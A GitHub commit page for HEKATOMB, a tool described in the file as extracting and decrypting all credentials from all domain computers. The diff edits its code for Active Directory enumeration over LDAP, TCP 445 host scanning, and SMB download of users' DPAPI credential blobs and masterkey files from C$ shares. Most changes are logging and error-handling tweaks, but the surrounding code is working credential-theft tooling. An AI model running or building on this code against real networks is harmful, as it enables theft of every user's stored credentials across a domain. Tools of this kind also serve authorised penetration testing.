Skip to content

Commit

Permalink
1.5.2.3
Browse files Browse the repository at this point in the history
  • Loading branch information
ProcessusT committed Jul 19, 2024
1 parent 0549ed3 commit 13ce8ad
Show file tree
Hide file tree
Showing 6 changed files with 93 additions and 79 deletions.
Binary file modified .assets/github1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@
>
<br>
<div align="center">
<img src="https://github.com/ProcessusT/HEKATOMB/raw/main/.assets/hekatomb_v1.4.png" width="80%;">
<img src="https://github.com/ProcessusT/HEKATOMB/raw/main/.assets/github1.png" width="80%;">
</div>
<br>
Expand All @@ -31,6 +31,7 @@
On last version (V 1.5) :<br />
- Fix local packages importation error with pip installation<br />
- Prevent crash when no computers are reachable<br />
- Prevent null domain or null domain extension<br />
<br />
V 1.4 :<br />
- Fix LDAP search limitation to 1000 items<br />
Expand Down
2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[tool.poetry]
name = "hekatomb"
version = "1.5.14"
version = "1.5.2.3"
description = "Python library to extract and decrypt all credentials from all domain computers"
license = "GPL-3.0-only"
authors = ["Processus Thief <hekatomb@thiefin.fr>"]
Expand Down
93 changes: 47 additions & 46 deletions src/hekatomb/ad_ldap.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,61 +15,63 @@

def scan(computer, domain, dns_server, port, debug, debugmax):
# Trying to resolve IP address of the host

screenLock = Semaphore(value=1)
answer = ''

# Create a socket object for TCP IP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.settimeout(30)

try:
# resolve dns to ip address
# resolve dns to ip address
resolver = dns.resolver.Resolver(configure=False)
resolver.timeout = 60
resolver.lifetime = 60
resolver.nameservers = [dns_server]
current_computer = computer + "." + domain

dns_computer = str(computer)+"."+str(domain)
if debug is True or debugmax is True:
screenLock.acquire()
print("[+] Resolving "+str(dns_computer) + " by asking DNS server "+str(dns_server)+" ...")
screenLock.release()

# trying dns resolution in TCP and if it fails, we try in UDP
answer = resolver.resolve(current_computer, "A", tcp=True)
answer = resolver.resolve(dns_computer, "A", tcp=True)
if len(answer) == 0:
answer = resolver.resolve(current_computer, "A", tcp=False)
answer = resolver.resolve(dns_computer, "A", tcp=False)
if len(answer) == 0:
print("DNS resolution for "+str(current_computer) + " has failed.")
screenLock.acquire()
print("[!] DNS resolution for "+str(computer) + " has failed.")
screenLock.release()
sys.exit(1)
else:
answer = str(answer[0])
if debug:
screenLock.acquire()
print ('[+] DNS resolution for ', str(computer) , ' succeeded : ', str(answer[0]))
screenLock.release()
answer = str(answer[0])

# Set IP and Port to connect
s.connect((answer, port))

# Display debug infos
if debugmax:
screenLock.acquire()
print ('Scanning ', answer , 'on port', port)
print("Port",port, "is open")

# Closing the socket
s.close()

# Call the summary fonction to add the computer to the online_computers list
summary(computer)

# If it fails
except socket.timeout:
if debugmax:
print("TCP 445 Connection Timeout")
except:
# Display offline computer
if debugmax:
except Exception as e:
if debug is True or debugmax is True:
screenLock.acquire()
print ('Scanning ', answer , 'on port', port)
print("Port",port,"is closed")

print("[!] ERROR : " +str(e))
screenLock.release()
# Free the semaphore object and close the socket
finally:
screenLock.release()
s.close()
return


# Création d'une boucle pour créer un thread par machine
def SmbScan(computers_list, domain, dns_server, port, debug, debugmax):
# Définition du tableau de threads
Expand Down Expand Up @@ -106,53 +108,51 @@ def Connect_AD_ldap(address, domain, username, passLdap, debug, debugmax):
# try to connect to ldap

if debug is True or debugmax is True:
print("Testing LDAP connection...")
print("[+] Testing LDAP connection...")

connectionFailed = False
serv = Server(address, get_info=ALL, use_ssl=True, connect_timeout=15)
ldapConnection = Connection(serv, user=f"{domain}\\{username}", password=passLdap, authentication=NTLM)

try:
if not ldapConnection.bind():
print("Error : Could not connect to ldap : bad credentials")
print("[!] Error : Could not connect to ldap : bad credentials")
sys.exit(1)
if debug is True or debugmax is True:
print("LDAP connection successfull with SSL encryption.")
print("[+] LDAP connection successfull with SSL encryption.")
except:
print("Error : Could not connect to ldap with SSL encryption. Trying without SSL encryption...")
if debug is True or debugmax is True:
print("[!] Error : Could not connect to ldap with SSL encryption. Trying without SSL encryption...")
connectionFailed = True

if True == connectionFailed:
if connectionFailed:
try:
serv = Server(address, get_info=ALL, connect_timeout=15)
ldapConnection = Connection(serv, user=f"{domain}\\{username}", password=passLdap, authentication=NTLM)
if not ldapConnection.bind():
print("Error : Could not connect to ldap : bad credentials")
print("[!] Error : Could not connect to ldap : bad credentials")
sys.exit(1)
if debug is True or debugmax is True:
print("LDAP connection successfull without encryption.")
print("[+] LDAP connection succeeded !")
except:
print("Error : Could not connect to ldap.")
print("[!] Error : Could not connect to ldap.")
if debug is True or debugmax is True:
import traceback
traceback.print_exc()
sys.exit(1)

# Create the baseDN
baseDN = serv.info.other['defaultNamingContext'][0]

return ldapConnection,baseDN

def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax):
# catch all users in domain or just the specified one
if just_user is not None :
searchFilter = "(&(objectCategory=person)(objectClass=user)(sAMAccountName="+str(just_user)+"))"
print("Target user will be only " + str(just_user))
print("[+] Target user will be only " + str(just_user))
else:
searchFilter = "(&(objectCategory=person)(objectClass=user))"
try:
if debug is True or debugmax is True:
print("[+] Retrieving user objects in LDAP directory...")
print("[+] Retrieving user objects in LDAP directory...")
ldap_users = []
ldapConnection.search('%s' % (baseDN), searchFilter, attributes=['sAMAccountName', 'objectSID'],paged_size=1000)
for i in range(len(ldapConnection.entries)):
Expand All @@ -165,7 +165,7 @@ def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax):
ldap_users.append(ldapConnection.entries[i])

if debug is True or debugmax is True:
print("Converting ObjectSID in string SID...")
print("[+] Converting ObjectSID in string SID...")

ad_users = []
for user in ldap_users:
Expand All @@ -178,29 +178,28 @@ def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax):
pass
# some users may not have samAccountName
if debug is True or debugmax is True:
print("Found about " + str( len(ldap_users) ) + " users in LDAP directory.")
print("[+] Found about " + str( len(ldap_users) ) + " users in LDAP directory.")
except:
print("Error : Could not extract users from ldap.")
print("[!] Error : Could not extract users from ldap.")
if debug is True or debugmax is True:
import traceback
traceback.print_exc()
sys.exit(1)
if len(ad_users) == 0:
print("No user found in LDAP directory")
print("[!] No user found in LDAP directory")
sys.exit(1);

return ad_users


def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax):
# catch all computers (enabled) in domain or just the specified one
if debug is True or debugmax is True:
print("[+] Retrieving computer objects in LDAP directory...")
print("[+] Retrieving computer objects in LDAP directory...")
ad_computers = []
ldap_computers = []
if just_computer is not None :
ad_computers.append(just_computer)
print("Target computer will be only " + str(just_computer))
print("[+] Target computer will be only " + str(just_computer))
else:
try:
# Filter on enabled computer only
Expand All @@ -210,6 +209,8 @@ def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax):

for i in range(len(ldapConnection.entries)):
ldap_computers.append(ldapConnection.entries[i])
if debugmax is True:
print("[+] ldapConnection.entries["+str(i)+"] : " + str(ldapConnection.entries[i]).strip())

cookie = ldapConnection.result['controls']['1.2.840.113556.1.4.319']['value']['cookie']
while cookie:
Expand All @@ -225,9 +226,9 @@ def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax):
except:
pass
if debug is True or debugmax is True:
print("Found about " + str( len(ad_computers) ) + " computers in LDAP directory.")
print("[+] Found about " + str( len(ad_computers) ) + " computers in LDAP directory.")
except:
print("Error : Could not extract computers from ldap.")
print("[!] Error : Could not extract computers from ldap.")
if debug is True or debugmax is True:
import traceback
traceback.print_exc()
Expand Down
12 changes: 6 additions & 6 deletions src/hekatomb/blobs.py
Original file line number Diff line number Diff line change
Expand Up @@ -65,7 +65,7 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh
if len(answer) == 0:
answer = resolver.resolve(current_computer, "A", tcp=False)
if len(answer) == 0:
print("DNS resolution for "+str(current_computer) + " has failed.")
print("[!] DNS resolution for "+str(current_computer) + " has failed.")
sys.exit(1)
else:
answer = str(answer[0])
Expand All @@ -85,7 +85,7 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh
if str(current_user[0]).lower() == str(current_user_folder).lower():
try:
if debugmax is True:
print("Find existing user " + str(current_user[0]) + " on computer " + str(current_computer) )
print("[+] Find existing user " + str(current_user[0]) + " on computer " + str(current_computer) )
response = smbClient.listPath("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Credentials\\*")
is_there_any_blob_for_this_user = False
count_blobs = 0
Expand Down Expand Up @@ -130,8 +130,8 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh
wf = open(mkfFolder + "/" + mkf,'wb')
smbClient.getFile("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Protect\\" + current_user[1] + "\\" + mkf, wf.write)
if debugmax is True:
print("New credentials found for user " + str(current_user[0]) + " on " + str(current_computer) + " :")
print("Retrieved " + str(count_blobs) + " credential blob(s) and " + str(count_mkf) + " masterkey file(s)")
print("[+] New credentials found for user " + str(current_user[0]) + " on " + str(current_computer) + " :")
print("[+] Retrieved " + str(count_blobs) + " credential blob(s) and " + str(count_mkf) + " masterkey file(s)")
except KeyboardInterrupt:
os._exit(1)
except:
Expand All @@ -144,13 +144,13 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh
os._exit(1)
except dns.exception.DNSException:
if debugmax is True:
print("Error on computer "+str(current_computer))
print("[!] Error on computer "+str(current_computer))
import traceback
traceback.print_exc()
pass
except:
if debug is True:
print("Debug : Could not connect to computer : " + str(current_computer))
print("[!] Debug : Could not connect to computer : " + str(current_computer))
if debugmax is True:
import traceback
traceback.print_exc()
Expand Down
Loading

0 comments on commit 13ce8ad

Please sign in to comment.